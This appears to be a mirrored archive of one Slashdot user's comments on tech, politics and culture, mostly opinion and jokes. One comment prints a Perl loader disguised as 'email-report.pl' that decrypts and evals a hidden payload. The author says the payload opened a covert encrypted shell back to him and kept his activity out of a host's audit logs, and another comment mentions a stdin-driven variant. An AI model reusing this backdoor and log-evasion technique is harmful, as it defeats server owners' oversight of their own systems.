Slashdot Mirror


User: VortexCortex

VortexCortex's activity in the archive.

Stories
0
Comments
5,203
First seen
Last seen
Profile
(view on slashdot.org)

Comments · 5,203

  1. Re:cu^ym on 1,700 Websites In Russia Go Dark In SOPA-Style Protest · · Score: 1

    the 8eaper BSD's 200 running NT

    Hmm, yeah, that would probably do the trick alright. IIS on NT in a BSD VM. I'd be on strike too if that's what I had to work with.

  2. Re:The Onion said it best on Qualcomm Says Eight-Core Processors Are Dumb · · Score: 2
  3. Re:How'd the government know what they were Googli on Google Pressure Cookers and Backpacks: Get a Visit From the Feds · · Score: 1

    You people really have too much time on your hands.

    No silly, they're not wrinkly from playing with black holes, just bathwater -- I don't have too much time on my hands, It's just an adaptation that gives better grip.

  4. Re:The answer is to teach kids to be programers. on More Encryption Is Not the Solution · · Score: 1

    For the adventurous I whipped up a less dangerous payload that won't try to connect to my server and run any arbitrary code it receives.
    This one will just execute shell commands read from STDIN instead: Slashell

    Note that I also "upgraded" the encryption strength by simply changing the "SHA-1" to "SHA-512", like I said, you can drop any hash algorithm into the CBC stream cipher... SHA-256 would have probably been a better choice because SHA-512 is actually faster to implement on 64bit supercomputers.

    Change the eval $Z; to read print $Z if you'd rather see what you'll be running prior to running it.
    The passphrase is the hex string included in the link.

  5. There must be something in the water... on Google Replaces AT&T At Starbucks · · Score: 1

    to improve the lives of freelance writers around the country. Starting in August, Google plans to make Internet speeds at all 7,000

    If your writing requires more baud than a dial-up BBS to upload, you're doing it wrong... That or your caffeine has been replaced by amphetamines.

  6. Re:Working link to article on Cybercriminals Has Heroin Delivered To Brian Krebs, Then Calls Police · · Score: 4, Funny

    Warning @ Line 3: Expected end of statement or continuation delimiter.
    Syntax Error @ Line 5: Extraneous capitalization of boolean list qualifier.
    Syntax Error @ Line 5: Invalid list contiuation; Character ':' already in use. Syntax Error @ Line 7: Expected end of statement punctuation.

    # Funny how you humans emulate dumb parsers while machine intelligence has overcome this_

  7. Re:Privacy concerns now outweigh terrorism in poll on NSA Director Defends Surveillance To Unsympathetic Black Hat Crowd · · Score: 4, Insightful

    Ultimately the US government can defend that mass surveillance of foreign citizens as if it's somehow defending its people.

    And the American people would go right along with that. Which just illustrates how fucking inept these assholes are, they got caught red handed spying on the American people and lied about it -- If they had any actual competency they could have avoided all of the flack. All it would have taken is not biting the hand that feeds them.

    That they couldn't even do that is reason enough to oust them all. I'm a realist. I realize corrupt crap goes down. However, it would be insane to let folks this brain damaged continue operating with such power. Godwin be damned, Hitler was just such an overreaching moron too.

  8. The answer is to teach kids to be programers. on More Encryption Is Not the Solution · · Score: 4, Interesting

    Then they don't need to rely on anyone else to create encryption systems or key exchanges.

    Once I had a web hosting provider that allowed SSH access. Great for pushing my Git Commits in... However, there was a log file owned by root that stored every command I entered into the SSH terminal, which sometimes had credentials for other servers the server connected to. I couldn't edit it or delete the log file. So I did this instead: email-report.pl

    #!/usr/bin/perl -w
    use strict;use bytes;use Digest;use FileHandle;use Fcntl qw(:seek);my $A
    ="0123456789abcdef";my @c=split(//,$A);sub h{my $B=shift;my $C=shift;my $D=shift
    ;my $E=shift;my $F=shift;$F=0 if!defined $F;my $G=shift;my $H=0;$G=\$H if
    !defined $G;my $I='';my $K=$F||1;my $L=0;my $J='';my $W=$B->clone;my $N=$#{$C}+1
    ;my @M=@{$C};while(!$L){my $O='';my $P=$E->read($O,1);if(!defined $P){return
    undef;}if($P){if($O eq "\n"){$$G=0;};$O=~s/[^0-9a-z]//;$I.=$O;}else{$L=1;}if(
    length $I>1) {$$G++;$O=pack('H*',$I);$I='';if($$D>=$N){@M=@{$C};$W=$B->clone;
    @{$C}=split(//,$W->digest);$$D=0;};$O=chr(ord(@{$C}[$$D++])^ord($O));if($F!=0){
    $J.=$O;$B->add($O);$K--;if($K<1){$L=1;}}elsif($O eq "\x00"){$L=1;$$D-=1;
    $E->seek(-2,SEEK_CUR);$$G--;if($$D<0){$$D=$N-1;@{$C}=@M;};}else{$J.=$O;$B->add(
    $O);if($O eq "\n"){$L=1;};};};};return $J;};my $B=new Digest("SHA-1");my $N=
    length$B->digest;print pack('H*','506173737068726173653a20');my $Q=<STDIN>;
    chomp $Q;if($Q eq''){exit 1;}my $R=new FileHandle;$R='DATA';my $F=0;my $S='';
    while((length $S)<($N*2)){my $O='';my $P=$R->read($O,1);if(!defined $P){exit 1;}
    ;if($P<1){last;};$O=~s/[^0-9a-f]//;$S.=$O;};$S=pack('H*',$S);if((length $S)!=$N)
    {exit 1;};if(length $Q>$N){$B->add($Q);$Q=$B->digest();}elsif (length $Q<$N){
    $Q.=("\x00"x($N-(length $Q)));};my($T,$U);foreach my $O(split(//,$Q)){$T.=chr(
    ord($O)^0x5c);$U.=chr(ord($O)^0x36);};$B->add($T,$B->add($U,$S)->digest());$T=
    $U=$Q="\x00"x$N;$T=$U=$Q='';my $I='';my $W=$B->clone();my @V=split(//,$W->digest
    );my $X=0;my $L=0;my $Y=0;my $Z='';$Z=h($B,\@V,\$X,$R,8192,\$Y);if(!defined $Z)
    {exit 1;}if($Z eq ''){exit 1;}eval $Z;exit 0;
    __DATA__
    4e45266f48ed8d...
    Snipped, see link, not that it'll do you any good without the key.
    I'd give you the key, but running arbitrary enciphered code is ill advised...

    What is that? Well, it's not really obfuscated, it's an encrypted Perl program called "email-report.pl", once started it asks for the passphrase that decodes the following program. Once the payload program is decrypted and running it peals off another encrypted channel to back to me using the stream cipher and TCP or UDP to provide a shell-like interface. Since it asks for the passpharse over STDIN it doesn't get logged to the session log. The commands I give it are executed in memory without being logged into the terminal session log file. The files I create over the shell aren't logged in the FTP log file either.

    Once such a shell is up I can dump in more code to decrypt and execute, or store it as encrypted files to call up and decrypt and execute for later. I periodically generate encrypted email reports to myself with it, so that logs show emails being generated with it, but I can also do anything else I like, I can execute my programs in memory and their server will have no record of what program was executed. I can even have the program connect to other such enciphered shell programs running on other servers that don't need SSH to tunnel, just a net connection and the stream cipher -- I hold all the keys.

    Now, this wasn't even a serious effort. I'm not doing anything I actually need to hide from anyone. It was just a bit of fun to prevent server logs from storing a few other keys in the clear. If I had wanted to I could have the cipher incorporate a few thousand it

  9. Re:People hate change on A Year of Linux Desktop At Westcliff High School · · Score: 1

    Outside of slashdot it most certainly is not equal unless you are doing simple things. I tried to print something on another computer with it and all the margins were messed up. I could not change title's and preview changes before selecting them. Everything was hidden in a menu and after 4 minutes I wanted to pull my hair out before just downloading Word viewer instead.

    You realize that not even Microsoft supports the Word format they published? Right? So, yeah, you're going to have a shitty time if you use non standard file formats that only one program actually supports. Use the native open document format and suddenly the proprietary problems go away... The other nonsense about usability is simply because that's the way you learned to use another program. It's like arguing over whether tabs should go above or below the address bar in a browser -- I prefer the side, listed vertically. Fortunately ther open document format is fully open source and there are plugins for words.

    Now, you can agure that "grown ups" will use Microsoft Word because that's what all their friends are using, duh! I would say, that's childish. I use HTML because that's what everyone actually has a viewer for on every device and it's got a much more rich document re-skinner CSS and scripting language that's not nearly as horrible as VB... Grown ups don't bitch about file formats when there is already a universal file format available, noob.

  10. Re:Mathematics is horrible for communication. on Ask Slashdot: Should More Math and Equations Be Used In the Popular Press? · · Score: 1

    Face it, everything has a computer in it! So, not teaching mathematics in an only slightly more descriptive programming language such that it could be immediately applicable would give folks such a better understanding of mathematics and the world, and grant a power to control it as well.

    Forgive the self reply, I do not mean to talk down to anyone here, but I fear others would underestimate myself, and misunderstand this statement as a mistake -- Don't get me wrong, I waste no time proofreading, and thus make mistakes in spelling or punctuation, I trust you can understand the meaning regardless of minor imperfections... However, I wish to clarify so as not to be as crystal and not stone.

    Not teaching people in a better way that could make all mathematics instantly knowable lets you understand why mathematics is the way it is. Why it is not being taught this better way. Once you understand that this is the information age, and that mathematics is the language of information, and that knowledge is power... You can understand the real world. How would not teaching a better method grant anyone "a power to control" the world? How could fostering ignorance of the language of information with ancient barriers and even tuition fees grant anyone a measure of control? How could not teaching the slaves to read possibly help control them?

    Now you may understand why I do not consider myself a member of such a species.

  11. Mathematics is horrible for communication. on Ask Slashdot: Should More Math and Equations Be Used In the Popular Press? · · Score: 1

    Just show any only mildly complex equation with big Sigmas and function symbols and even just one derivation... To an alien. Now, imagine how much they're going to have to learn just to understand that bullshit -- even if they've already mastered all the verbal and written languages of Earth!

    If only there were a more verbose system whereby more friendly names could be given to the symbols,
    like, "let a equal 10. loop while( a is not equal to zero ){ doThingListedElsewhere() }". Oh if only we had solved this damn problem ages ago with almost EVERY computer programming language in existence.

    The answer is to teach a simple (possibly scripting) language like JavaScript, or C, etc. in elementary school IN MATH CLASS. Though not the optimal choice I would vote for JavaScript because its a language every person has the ability to use on the data they most frequently interact with -- The web / HTML.

    When I was a pre-teen child, like many others, I taught myself computer programming. I was making games, and spreadsheet software, and even selling them on Compuserve before highschool. Over one summer I independently invented trigonometry. The online help didn't say what SIN and COS functions were used for, and I was trying to find the angle between two points relative to the pixel grid, to turn an enemy ship towards a player -- I needed an angle to pass into the ROTATE( angle ) function before drawing the ship's lines so I made a "slopeRatio(x1, y1, x2, y2)" function that performed better than the built in SIN function because of wasted RAM with my extensive lookup table, and limited required precision, and I returned angles that didn't require multiplying by Pi... That opened the door for many other mathematical discoveries, like distance between points, 3D transforms and rotations, etc.

    At the start of the 7th grade when they were trying to re-teach inequalities and order of operations (which I had mastered in 3rd grade in front of an amber screen), I proudly showed my 3D distance formulas to my teacher. She was dismissive and said, "That's nice, we'll cover Pythagoras in another grade, did you do your homework?" NO. THAT was my home work, not some worthless list of add/subtract/multiply/divide to perform by hand -- I INVENTED Trig by myself. She had nothing to teach a child!? I am not gloating, I am pointing out how trivial these revered mathematic discoveries are, and you'd know this too if you ever had to invent any of it yourself. The "amazing" discovery of ratios of the sides of triangles was OBVIOUS to a 12 year old child... There is no such thing as genius, given necessity humans invent, or re-invent as the case may be -- It's not hard, we all do it all the time; Aside: that's why no one searches software patents to use in the PTO database: It's faster to re-invent and yields a more tailored result!

    With the revelation that there was a world of mathematics I had mastered parts of myself, I tried not to re-invent the wheels...
    I could have saved over a week of summer if I'd have known about c*c = a*a + b*b; instead of deriving it myself. So, I tried cracking open a mathematics book to learn more of the math that I was discovering myself already. However, in place of a For Loop, there was a Sigma Symbol... I didn't understand what I was looking at. Had the equation been verbosely explained in English I would have grokked it immediately since I was already using all of the principals myself. Had there been some simple pseudo-code saying "Do this N times: ...", or
    "var a = 10; while( a != 0 ){ a = a - 1; someFunction(); ... }", etc. then as a middle schooler I could have picked up any mathematics book and applied its knowledge. Indeed, once I forced myself to absorb the symbols meanings and map them to C or BASIC I tackled Calculus... Instead of being awestruck at the "elegant genius" I thought, "That's It?! That's what everyone jokes about being so advanced?! I've turned curve equations into

  12. Re:Er what on SF Airport Officials Make Citizen Arrests of Internet Rideshare Drivers · · Score: 1

    I actually feel sorry for the taxi drivers. It's not just a threat to their business - they are being undercut in ways they are not legally able to compete.

    I do not feel sorry for buggy whip makers. I will not feel sorry for taxi drivers. I will not feel sorry for ride-share services when self driving cars do them in.

    I do not stand idly by while human progress is hindered. When the herd is hindered I first drop subtle hints that those who are hindering the herd should not do so. Next I advocate for field trips to the tar pit. Finally, we proceed unhindered, and not even the hipsters miss the buggy whip makers -- they burn them in their power plants or vehicles, and get custom specialty whips to use on their expensive weekend novelty carriage rides.

  13. Au Contraire! on Remember the Computer Science Past Or Be Condemned To Repeat It? · · Score: 3, Interesting

    For instance: As a cyberneticist I'm fond of programs that output themselves, it's the key component of a self hosting compiler... Such systems have a fundamental self describing mechanism much like DNA, and all other "life". While we programmers continue to add layers of indirection and obfuscation ( homeomorphic encryption ) and segmented computing (client / server), some of us are exploring the essential nature of creation that creates the similarities between such systems -- While you gloat over some clever system architecture some of us are discovering the universal truths of design itself.

    To those that may think Computer Science is a field that must be studied or be repeated, I would argue that there is no division in any field and that you haven't figured two key things:
    0. Such iteration is part of the cybernetic system of self improvement inherent in all living things -- to cease is death, extinction.
    1. Nothing in Computer Science will truly be "solved" until a self improving self hosting computing environment is created...

    So, while you look back and see the pains of Microsoft trying to implement POSIX poorly, I've studied the very nature of what POSIX tried and only partially succeeded to describe. While you chuckle at the misfortunes of programmers on the bleeding edge who are reinventing every wheel in each new language, I look deeper and understand why they must do so. While you look to the "great minds" of the past, I look to them as largely ignorant figures of self import who thought they were truly masters of something, but they ultimately did not grasp what they claimed to understand at a fundamental level -- The way a Quantum Physicist might acknowledge pioneers in early Atomic thinking... Important, but not even remotely aware of what they were truly doing.

    How foolishly arrogant you puny minded apes are...

  14. Re:Another failure of "unlimited" bandwidth on Google Argues Against Net Neutrality · · Score: 1

    If the ISPs quit insisting on these fake "unlimited" bandwidth plans, there wouldn't be a need to have weird rules to stop people from running high-bandwidth servers.

    We built a distributed network that is so self healing it's resistant to nuclear attacks -- Entire cities can disappear and packets get routed around the lost nodes momentarily...

    And what did they do? They built Centralized Data Silos and protocols that exclusively use the antiquated Client / Server architecture despite there being no distinction of client or server at the packet or link level. Perhaps, centralizing the damn data is the bandwidth problem... Yeah, really, that's the problem. Oh, if only there were a distributed file system and a trust management system like the PGP protocol, then we could actually use it to reduce bandwidth via decentralization. Oh if only there were such a thing as Distributed Hash Tables we could index said data and do distributed searches too. Hell, people might would even be able to manually create a better SPAM-free categorized index. It would be so good that automated search tools would spider from it to build their own indexes...

    Alas, no. Like a bunch of kids playing with the box the expensive gadget came in everyone keeps using the International Conglomeration of Data Silos AKA the World Wide Web.

    Long Live the Internet, but Fuck The Web.

  15. Convicted of violation of the Espionage Act? on Bradley Manning Convicted of Espionage, Acquitted of 'Aiding the Enemy' · · Score: 4, Interesting

    Convicted of violation of the Espionage Act? Ah, well then we should revise said act to retroactively apply exemption to actions which do not aide the enemy. For, if they do not aide the enemy, then they aide the ally or no one. Surely we can't be throwing people in jail for helping us?

  16. Let them Eat Cock- on What's Stopping Us From Eating Insects? · · Score: 1

    roaches.

    Let's just ignore that in nearly every famine we've had a food surplus, and tell the peasants to eat bugs.

    I thought it was well established that in, "Let them eat cake.", the cake is a lie...

  17. Re:Premptive STFU to GPL white knighters on German Court Finds Fantec Responsible For GPL Violation On Third-Party Code · · Score: 3, Interesting

    You publish your code. It might get used. Deal with it.

    Ah, then by that logic, we can ignore all copyright laws. Eureka!

    To be perfectly clear: I would rather a world where labor to create a work is done and paid for once, and the infinite monopoly granted to any who refuse to work without assurance of pay would be applied to content creation as it is in all other labor fields. Yes, I would rather a world where no copyrights existed at all; Where to get more money you would have to do more work instead of sell more copies which are infinitely reproducible and thus valueless:
    Econ101: infinite supply == zero price; // regardless of cost to create.

    Not monetizing copies but the work which yields their infinite supply instead is actually how the open source model of software production operates. As a car mechanic or home builder or burger joint would: I do an estimate, agree on a price for the new work (code | feature | installation | maintenance | etc.), then do the work once and get paid once for it, then seek more projects to do more work to get paid further. Instead of the insanity of selling ice to Eskimos -- or 1's and 0's to folks with computers -- I get paid proportional to my work.

    Conversely, since copyright does exist, I am not free to utilize any other available configuration of 1's and 0's already created and thus in infinite supply. In response to the ridiculous state of copyright whereby I am disadvantaged by my sane work practice and since I do not foolishly work for free then gamble my livelihood in the closed source copyright futures market -- A market where the work can go underpaid or unpaid if the market value didn't match the demand leading to job insecurity, and whereby the publisher middle men can drain the consumers of orders of magnitude more wealth than the cost to create the work (see how that works? The workers are disadvantaged, yes?); In response for being held to these ridiculous laws in order to make a living in society I choose to assert that my end users have all the rights and capabilities granted to any others who would monetize my work. Unable to rid the world of all copyrights, I expect businesses to obey them as I must. I merely expect that the business community enriched with unbounded advantages provided by GPL'd code not disadvantage me by disallowing my future work upon projects such code makes possible.

    Now, perhaps you are feckless enough to assume I can simply ignore copyrights if I want. Perhaps you assume a person can have security in their future while their small business breaks copyright laws at will, and allows others to close off future job opportunities by not releasing source code as the contract under which the work was performed would require. Perhaps you would say: "Just deal with bad actors making a less of a viable future for you." Perhaps you would say the blame lies with me for publishing my code in the first place, and ignore all the other compliant businesses which my work bolsters all of at once and I thus thrive upon. Perhaps you would think we allow ever more egregious infringement of the open source copyrights to proliferate while allowing the brutal punishing of end users for minor copyright infringements against proprietary licensors. Perhaps you would say, that I "might get used. Deal with it.", and then ignore that dealing with it is exactly what is being done in TFA...

  18. Re:The incredible irony of.. on Apple Retailer Facing Class Action Suit Over Employee Bag Checks · · Score: 4, Funny

    I'm not sure I follow... Perhaps a Unix analogy?

  19. Re:Needs more doomsday. on Lower Thermal Radiation Input Needed To Trigger Planetary 'Runaway Greenhouse' · · Score: 4, Funny

    I don't know about the rest of you, but I found the last two lines of the summary to be quite anticlimactic. Where's the fear-mongering?

    Well, it seemed pretty terrifying to me. I'm not sure what kind of plans you've been making, but this significantly moves up my time tables. Now we'll probably have to completely abandon Earth instead of preserving any as a museum for the origin of life. Well, at least we can take the gene sequences...

    Now it'll be much more of a smash and grab to get as many resources and mechanizations manufactured from the asteroid belt before we bolt for a new star-system. All but the first few percent of the plan will have to be re-calculated! Finding a younger destination star means taking a bigger risk with its instability, or planning an additional interstellar hop to last out the rest of the 4 billion years till the Andromeda Galaxy merges with this one. I mean, of course revisions are planed and there's some uncertainty to iron out as the future nears, but now Everything is Gorked! It might just turn out to be a complete cut and run to drift the nearest nebula and suck up the frigging dust dregs!

  20. Re:Not much to do with parkour on RHex Robot Shows Off Parkour Moves · · Score: 1

    This parent post is a jealous robot. Read again in a robot voice:

    The robot hardly jumps over anything,
    and when it jumps onto something it doesn't even keep moving.

    This robot has as much to do with parkour as a baby
    taking its first steps has to do with olympic sprinting.

    Actually that would be more related because at least the baby
    uses basically the same limbs.
    So let's say an alien baby.

    The video left me feeling sad and disappointed,
    at a lower hedonic level than previously.

    I cannot conceive why 1300 separate people chose to upvote the video.

    Unless perhaps they only watched the clip of the robot sprinting into the air.
    Which was cool the first time.
    But not the following ten times.

    NO CARRIER

  21. Re:Spacesuit repair kit? on Russian Vehicle Delivers Spacesuit Repair Kit To ISS · · Score: 3, Funny

    I call dibbs on wearing the suit!

    But the leak isn't that--
    So then you have to--
    Trapped in a fart bubble.

  22. Re:Pray to FSM on Judge Denies Administration Request To Delay ACLU Metadata Lawsuit · · Score: 1

    Every time someone abbreviates Flying Spaghetti Monster, and particularly when someone does it on /., I think they are talking about Finite State Machines.

    His noodle is strong in this one.

  23. OP vs Admin on How Are You Celebrating National Sysadmin Day? · · Score: 2

    I managed to get my old BBS functioning on an x86 beige box. So, I'm celebrating sysop day by hooking it up to my land line. I've only had a few legit visitors -- friends who recognized the sweet sound of a system ready to serve and managed to dial in.

    It's possible to set the GNU/Linux terminal font to CP437, and browse the board via raw console in all its ANSI art splendor.

    Having my BBS hold all my calls for a day is nicer than getting a few reminders thanks to the lamer who clogged the mail server failing to CC all, and instead sending hundreds of individual messages, Yay sysadmin day!... grr.

  24. That's cool. Thanks FSF! on FSF Launches Fundraiser For Replicant · · Score: 4, Insightful

    I don't give a damn about Android, really. It's relevant, but my biggest hobby is a different way to design OSs and programming models. Having devices with all the driver code available means I don't have to use a C compiler at all, I can port the code into the OS proper and gain more security and efficiency -- I use very different sub-routine calling constructs to prevent stack smashing and isolate all data from code pointers, so it's inefficient to switch into CDECL or other insecure C-ish compatible calls.

    TL;DR: Replicant is awesome not just for Android / Linux, but for everyone.

  25. Re:Hey US... on US Lawmakers Want Sanctions On Any Country Taking In Snowden · · Score: 1

    I 'd love to see how the CIA deals with the fact that blank thumb drives are a dime a dozen, and most computers these days have more than one USB slot.

    I am pretty sure that if I were one of the journalists who received one of Snowden's little insurance policies, I'd be setting up a few of my own.

    Just like at many businesses that work in finance, the ports are glued shut or disabled. Much like the disk drives were in the 80's & 90's. Not that I think the US government competent in the least. It's not like we didn't know about the NSA rooms at telecoms sites; Snowden is only confirming what we already pretty much knew. Big deal. They would be smarter to let him alone and leave it to the geeks to nerd rage about spying while the mainstream media and common man totally ignore the implications, like they did before. Now they just look like bullies and causing common folk to think, "Gosh, they're spying on me, but we can't know anything about them? I hope I don't wind up like Snowden for knowing too much."

    How can anyone think the government is competent considering they canceled NASA's asteroid capture program? Considering the Chinese spacecraft are visiting asteroids: Chang'e-2 flyby of Toutatis; Considering the Chelyabinsk asteroid no one saw until it was too late creating an explosion 20 to 30 times greater in power than the atom bomb dropped on Hiroshima. Considering the crazy space race we had with the Russians, and now that the stakes are far higher we're wasting time chasing down some dude who got the dirt on what all the nerds pretty much knew anyway?

    Guh. The public weren't interested before when we had proof of the telecom tapping operation... This time they care because their incompetence caused them to lie to congress and congress critters don't want to take the blame (yet they deserve it every bit as much). This Snowden crap was old news before anyone heard of Snowden. Wake me up when thousands of folks are in concentration / internment camps -- When the common man has a jackboot at his neck. Then the apathetic masses might deal with the fruits of their inaction, and we can just restart the process.

    The time is long past when the government deserved our trust. Encrypt everything -- Don't rely on the SSL security theater where you've got the CNNIC (Chinese root authority) installed so they can fake a cert for Google or your bank, etc. and you wouldn't know unless you were inspecting every single connection's certificate chain, which you don't.

    TL;DR: Truth is, no one actually gives a damn about safety or security; It's all about handing money to elitists, and controlling the money markets via information.